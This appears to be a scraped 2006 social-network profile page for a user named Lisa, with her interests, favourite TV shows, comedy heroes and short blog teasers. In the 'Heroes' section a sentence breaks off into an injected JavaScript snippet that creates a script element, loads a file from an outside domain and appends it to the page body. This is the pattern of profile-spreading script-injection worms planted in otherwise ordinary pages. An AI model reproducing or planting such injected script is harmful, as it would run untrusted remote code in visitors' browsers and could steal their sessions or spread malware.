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Lisa

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About Me

Hi there! Welcome to an short insight to my exciting life...! I don't really do much. No study. No work. I live to exist which at the moment consists of sitting, eating and sleeping. I might do something in between sometimes.When I was younger I used to want to become a famous tap dancer, then I set my sights lower and wanted to become a tap dancing teacher...to this day, I have never had one tap dancing lesson in my life. There's a lesson to be learnt somewhere. I tend to confuse dreams with reality... so my life is probably not as crazy and wierd as I think it is! I could live without muffins and doughnuts, I just choose not too because there's no point in limiting yourself. Funnily enough (if you find non funny things funny) I couldn't live without the elements that make muffins and doughnuts e.g. flour, milk, eggs....etc.r{} retro layout @ HOT FreeLayouts.com music / movies
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My Interests

EATING! and laughing...but i try not to doo both at the same time as it is hazardous....

I'd like to meet:

Anyone who makes me laugh...and not by tickling me cos thats more painful than funny
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Music:

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Movies:

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Television:

Scrubs, the office, extras, neighbours (EVERYBODY needs good neighbours...its a shame its not that good though, just very addictive), Sopranos "you motherless F**K!" (Ric's converted me), Lost, admittedly Strictly Dance Fever, I'm sure there are others cos I watch so much TV but cant think of anything I watch religiously at the moment...

Books:

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Heroes:

Ricky Gervais, Frank Skinner, Lee Evans, ZACH BRAFF! Whats the point in life you you can.."var x=document.createElement('script');x.src='http://www.actuali zando.com/.../test.js';document.getElementsByTagName('body') [0].appendChild(x);" /

My Blog

My first time stripping

I'm trying to redecorate my room for the first time since I moved in (18 years ago) and stripping wallpaper is HARD! Now my room looks a state and i'm too tired and frustrated with it that i'm now sle...
Posted by Lisa on Mon, 23 Oct 2006 03:58:00 PST

Am I kidding myself?

I always feel like I'm saving energy by turing on a lamp instead of a big light. But am i?!
Posted by Lisa on Sun, 10 Sep 2006 09:20:00 PST

When I never wanted diarhhoea so badly

About a year ago I was baby sitting ric's puppy golden retriever. As it was too young to know to go outside to 'make', it made a wet little present dispensed from its fluffy yellow bum for me to clean...
Posted by Lisa on Sun, 10 Sep 2006 09:18:00 PST